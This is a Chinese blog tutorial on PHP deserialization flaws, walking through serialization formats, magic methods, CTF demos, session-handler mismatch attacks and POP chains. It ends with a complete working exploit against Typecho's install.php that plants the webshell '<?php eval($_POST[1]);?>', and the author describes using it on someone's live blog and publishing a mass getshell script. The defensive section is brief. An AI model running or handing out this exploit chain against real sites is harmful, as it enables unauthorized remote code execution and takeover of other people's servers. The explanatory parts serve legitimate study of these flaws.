起因:最近日站的时候,对一个typecho博客经历几番波折之后,最后找了个typecho反序列化漏洞的exp、写了个webshell..开心的不得了…带着对反序列化漏洞满满的好奇心学习了一番。
批量getshell脚本已发布:github
0x01:相关基础:
1.序列化和反序列化相关知识:
1.1什么是(反)序列化:
序列化是将变量(对象)转换为可保存或传输的字符串的过程;反序列化就是在适当的时候把这个字符串再转化成原来的变量使用。
1.2php(反)序列化常见的函数:
Serialize、Unserialize、json_encode、json_decode。
1.3序列化之后的格式:
a - array:1
2a:<length>:{key,value pairs}
a:1:{i:1;s:1:"a";}
b - boolean:
d - double
i - integer
o - object:1
2O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;} //说明person对象中name属性为Null、age属性为19,sex属性为Null
s - string1
2s:length:"value";
s:1:"a";
N - null1
N;
2.php对象常见的魔幻函数
- __construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
- __destruct: 和构造函数相反,当对象所在函数调用完毕后执行。
- __toString:当对象被当做一个字符串使用时调用。
- __sleep:序列化对象之前就调用此方法(其返回需要一个数组)
- __wakeup:反序列化恢复对象之前调用该方法
- __call:当调用对象中不存在的方法会自动调用该方法。
- __get:在调用私有属性的时候会自动执行
测试:
3.php_session序列化和反序列化相关知识
3.1 php_session处理器
- php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
- php:存储方式是,键名+竖线+经过serialize()函数序列处理的值。
- php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
设置方式:在php_ini中session.serialize_handler(PHP_INI_ALL) 设置,
也可以在代码中设置:1
ini_set('session.serialize_handler', 'php');
各类存储方式示例:
代码:1
2
3
4
5
6
ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['a'] = $_GET['a'];
var_dump($_SESSION);
当我传入?a=O:4:”pass”:0:{}时:
- php处理器存储的为:a|s:15:”O:4:”pass”:0:{}”;
- php_serialize处理器存储的为:a:1:{s:1:”a”;s:15:”O:4:”pass”:0:{}”;}
- php_binary处理器存储的为:(乱码了..自己测试吧)
3.2.php_ini中与php_session相关的配置知识
- session.save_path = “” //设置session的存储路径
- session.auto_start = boolen //指定会话模块是否在请求开始时启动一个会话,默认0(不启动)
- session.serialize_handler = string //指定序列化、反序列化处理器
0x02.常见的漏洞:
1 将传来的序列化unserilize,造成魔幻函数执行。
demo1:
由bugku的一个题启发而写的一个缩略版的demo,原题链接:https://120.24.86.145:8006/test1/
1 | <script language="php"> |
关键点:当对象被当作字符串使用时调用__tostring()魔幻函数,所以如果我们给password传入一个序列化的对象,那么echo $password 就会调用魔幻函数。
构造payload:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15<script language="php">
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br />";
return ("good");
}
}
}
$obj = new Flag();
$obj->file = "Flag.php";
echo serialize($obj);
</script>
生成:1
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最后读出flag.php
demo2:1
2
3
4
5
6
7
8
9
10
11<script language="php">
class Flag{ //flag.php
public $file;
public function __wakeup(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
}
}
unserialize($_GET['password']);
</script>
这个例子是利用的反序列化恢复对象之前会调用__wakeup(),所以构造payload方法和demo1中一样。
将拿到的序列化字符传入:1
https://localhost:9096/test1.php?password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
即可得到flag.php中的文件
当然还有其他魔幻函数:__construct、__destruct都行
总的来说:
①:有可控的数据被反序列化
②:有魔幻函数中敏感代码被执行。
2 php session处理器设置不当的漏洞。
起源于一道CTF,题目传送门:https://web.jarvisoj.com:32784/
题目源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
第一眼看到这个题的时候很懵逼…. 没有数据可以输入的地方…然后琢磨了一下wp….. 感觉发现了新大陆…
从phpinfo中可以发现1
session.serialize_handler = php_serilize
而代码中设置的1
ini_set('session.serialize_handler', 'php');
从上文介绍相关处理器的时候可以知道:
PHP处理器:a为session的键名,|后面为经过serialize处理的键值
而php_serialize处理器:
这其中php_serialize有一个特性,就是可以在字符串变量中储存 | 符号,然后当我们以php_serialize
格式存入|O:4:”pass”:0:{}
再以php处理器处理:即变成了
[“a:1:{s:1:”a”;s:16:””]为键名,test对象为值。
demo3(上述过程具体实现代码):1
2
3
4
5
//ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['a'] = $_GET['a'];
实现步骤:
1.设置php_ini中的session.serialize_handler = php_serialize,访问https://localhost:9096/test1.php?a=|O:4:"test":0:{},即写入session。
2.将上述代码注释去掉,并给$_SESSION[‘a’] = $_GET[‘a’];加上注释,即可看到php和php_serialize处理|的漏洞。
所以这里就可以利用这个特性给网页传入一个构造的php_serialize格式的session,
然后让php解析器将|后的数据解析成”值”,以达到代码执行目的。
然后我们利用这个特点写入一个session(以php_serialize格式),然后让该页面以php方式处理,从而给$mdzz赋值,获取敏感信息。
demo4:
test1.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ini_set('session.serialize_handler', 'php');
session_start();
//$_SESSION['a'] = $_GET['a'];
var_dump($_SESSION);
class Test{
function __construct(){
echo "__constrct";
}
function __destruct(){
echo "__destruct";
eval(phpinfo());
}
}
本地事先存储了以php_serilize格式的session:a:1:{s:1:”a”;s:16:”|O:4:”Test”:0:{}
然后访问test1.php
正好符合上述题目中的eval函数中的代码执行
总的来说 :
其实这种漏洞就是session序列化及反序列化处理器设置不当造成。本质上是它们对处理“|”的差异造成。如果以php_serilize方式存入,比如我们构造出’|’ 伪造的序列化值存入,但之后解析又是用的php处理器的话,那么将会反序列化伪造的数据(’|’之前当作键名,’|’之后当作键值)
其次如果想要利用的话,就是找到注入点,将我们构造的session注入进去。
其实我还是有点疑问的
那么为什么php处理器处理的时候会执行session中的值呢?
猜想:与session_start或者php处理器有关
暂时还没有捣鼓出来…
0x03.如何寻找注入点将数据注入到session
上面说的那个CTF题原理已经知道了,但是并不知道从哪注入session。
就我了解的而言,有以下几种写入session的途径
1.通过配置不当造成的session可控
参考:https://bugs.php.net/bug.php?id=71101
当在php.ini中设置session.upload_progress.enabled = On的时候,PHP将能够跟踪上传单个文件的上传进度。当上传正在进行时,以及在将与session.upload_progress.name INI设置相同的名称的变量设置为POST时,上传进度将在$ _SESSION超全局中可用。
我们启用了该配置项后,POST一个和session.upload_progress.name同名变量的时候
PHP会将文件名保存在$_SESSION中
所以构造一个提交文件的表单:1
2
3
4
5<form action =“https://web.jarvisoj.com:32784/index.php”method =“POST”enctype =“multipart/form-data”>
<input type =“hidden”name =“PHP_SESSION_UPLOAD_PROGRESS”value =“1”/>
<input type =“file”name =“file”/>
<input type =“submit”/>
</form>
然后构造一个序列化的数据:1
2
3
4
5
6
7
8
9
ini_set('session.serialize.handler','php');
session_start();
class OowoO{
public $mdzz = 'payload';
}
$obj = new OowoO();
echo serialize($obj);
即可使得析构函数中的eval()执行任意代码。
0x04:构造注入链:pop
1.POP链原理简介:
在反序列化中,我们能控制的数据就是对象中的属性值,所以在PHP反序列化中有一种
漏洞利用方法叫”面向属性编程”,即POP( Property Oriented Programming)。
在反序列化漏洞利用中,最理想的情况就是漏洞能利用的点在那几个魔幻函数中,
而实际上往往是从这几个魔幻函数开始,逐步的跟进这个函数中调用的函数,直到找到可以利用的点。
试想一下,如果上面那个CTF题目的代码执行函数eval()函数不在__destruct这类
魔幻函数中,而是在一个普通的方法中,我们就没办法直接利用它执行代码了。
这个时候就需要构造一个链,链接到我们需要执行的函数eval()。
demo5(模拟了一个简单的场景):1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class OowoO
{
protected $obj;
function __destruct()
{
//$obj = new test1; 这里可以控制$obj为任意对象
$this->obj->a();
}
}
class test1{
function a(){
echo "123";
}
}
class test2{
private $data;
function a(){
eval($this->data);
}
}
unserialize($_GET['a']);
利用:1
2
3
4
5
6
7
8
9
10
11
12
13<script language="php">
class OowoO{
protected $obj;
public function __construct(){
$this->obj = new test2();
}
}
class test2{
private $data = "phpinfo();";
}
echo urlencode(serialize(new OowoO()));
</script>
结果:
值得注意的是,反序列化可以控制类的属性,无论private还是public。
但是这里有个坑,如果类中存在protected或者private属性的时候,序列化的时候会产生空
字节,所以记得urlencode一下,payload才会生效。
demo6:1
2
3
4
5
6
7
8
9
class test{
private $a="a";
protected $b="b";
public $c="c";
}
echo urlencode(serialize(new test()));
总的来说:如果魔幻函数中没有漏洞利用点,但是他调用了其他对象(意味着实例化了该对象)中的方法A,
由于上述demo5中我们传入的反序列化数据可以实例化任意对象,所以我们可以全局寻找一个和方法A同名的方法,然后逐个查看其他同名方法A中是否含有可利用的点。
2.typecho反序列化漏洞分析:
漏洞文件为根目录下的install.php,第283行:1
2
3
4
5$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
$type = explode('_', $config['adapter']);
$type = array_pop($type);
$installDb = new Typecho_Db($config['adapter'], $config['prefix']);
$installDb->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
从cookie中将__typecho_config的值取出,然后在Typecho_Db中实例化。这里就是漏洞的注入点,
下面就需要找到漏洞的利用点,接着搜寻魔幻函数 __construct、__destruct、__wakeup。
在/var/Typecho/Db.php中Typecho_Db类,代码第114行,找到一个__construct(1)可以利用,因为$adapterName变量存在字符串拼接
如果给它反序列化传入一个对象的话,会调用 __tostring函数(如果存在的话)。1
2
3
4public function __construct($adapterName, $prefix = 'typecho_')
{
$this->_adapterName = $adapterName;
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
可以发现在同文件下的第134行,实例化了$adapterName,会调用__tostring(2)1
$this->_adapter = new $adapterName();
全局搜索__tostring后,在/var/Typecho/Feed.php中Typecho_Feed类可以发现__tostring(2)方法:290行:1
2
3
4
5
6
7
8
9
10
11foreach ($this->_items as $item) {
$content .= '<entry>' . self::EOL;
$content .= '<title type="html"><![CDATA[' . $item['title'] . ']]></title>' . self::EOL;
$content .= '<link rel="alternate" type="text/html" href="' . $item['link'] . '" />' . self::EOL;
$content .= '<id>' . $item['link'] . '</id>' . self::EOL;
$content .= '<updated>' . $this->dateFormat($item['date']) . '</updated>' . self::EOL;
$content .= '<published>' . $this->dateFormat($item['date']) . '</published>' . self::EOL;
$content .= '<author>
<name>' . $item['author']->screenName . '</name>
<uri>' . $item['author']->url . '</uri>
</author>' . self::EOL;
在该段代码的倒数第三行中,如果构造$item[‘author’]是一个对象,screenName是其私有属性,
则会调用__get(3)方法。
然后在/var/Typecho/Request.php中Typecho_Request类中 __get(3)方法:226行1
2
3
4public function __get($key)
{
return $this->get($key);
}
调用了get方法:295行1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}
跟进一下_applyFilter(),在该文件的159行:1
2
3
4
5
6
7private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
调用了call_user_func($filter,$value)函数,找到了可以利用的点了。
反过来分析:
回溯查看一下$value变量的来源:由Typecho_Request类中的$_params传入。
然后$filter在代码的120行有定义:1
private $_filter = array();
所以可以直接对该属性赋值。
再来考虑一下如何触发__get(3)方法:
然后就可以把$_items数组所在的Typecho_Feed类,实例化传给$adapter,从而触发\_tostring(2),然后__construct(1)
自动执行,即构成了完整的一条攻击链。
总的来说,现在就很好理解这些数组的嵌套关系了。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34Array
(
[adapter] => Typecho_Feed Object
(
[_type:Typecho_Feed:private] => RSS 2.0
[_version:Typecho_Feed:private] => 1
[_charset:Typecho_Feed:private] => UTF-8
[_lang:Typecho_Feed:private] => en
[_items:Typecho_Feed:private] => Array //$_itemss数组
(
[0] => Array //$item数组
(
[author] => Typecho_Request Object //$item['author']赋予一个对象值,触发__get()
(
[_params:Typecho_Request:private] => Array
(
[screenName] => file_put_contents('Passer6y.php', '<?php eval($_POST[1]);?>')
)
[_filter:Typecho_Request:private] => Array
(
[0] => assert
)
)
)
)
)
[prefix] => th1s
)
EXP(copy from Ph0rse大佬):1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//当__get方法执行时,使用assert函数调用file_put_contents函数,写入木马
class Typecho_Request{
private $_params = array('screenName' => "file_put_contents('Passer6y.php', '<?php eval(\$_POST[1]);?>')");
private $_filter = array('assert');
}
//构造Feed类,使__get方法执行
class Typecho_Feed{
const RSS2 = "RSS 2.0";
private $_type;
private $_version;
private $_charset;
private $_lang;
private $_items = array();
public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en'){
$this->_version = $version;
$this->_type = $type;
$this->_charset = $charset;
$this->_lang = $lang;
}
public function addItem(array $item){
$this->_items[] = $item;
}
}
$class1 = new Typecho_Feed(1);
$class2 = new Typecho_Request();
$class1->addItem(array('author' => $class2));
$exp = array('adapter' => $class1, 'prefix' => 'th1s');
echo base64_encode(serialize($exp));
0x05.如何防御
1.过滤:试想一下,当unserialize执行的时候,会调用自动__wakeup魔幻函数,
我们可以利用这点,对用户可控的数据进行严格过滤,使之不能成功控制属性值。
2.使用get_included_files函数查看是否有漏洞的类被包含了
3.尽量使用json_endcode/json_decode来取代
参考资料:
1.漏洞分析之Typecho二连爆
2.PHP序列化
3.一道反序列化CTF引起的思考
4.POP链的构造
5.PHP中SESSION反序列化机制详解
6.Typecho反序列化漏洞导致前台getshell
7.通过PHP反序列化进行远程代码执行
8.POP链和序列化,反序列化操作
9.php对象注入总结
10.PHP反序列化漏洞成因及漏洞挖掘技巧与案例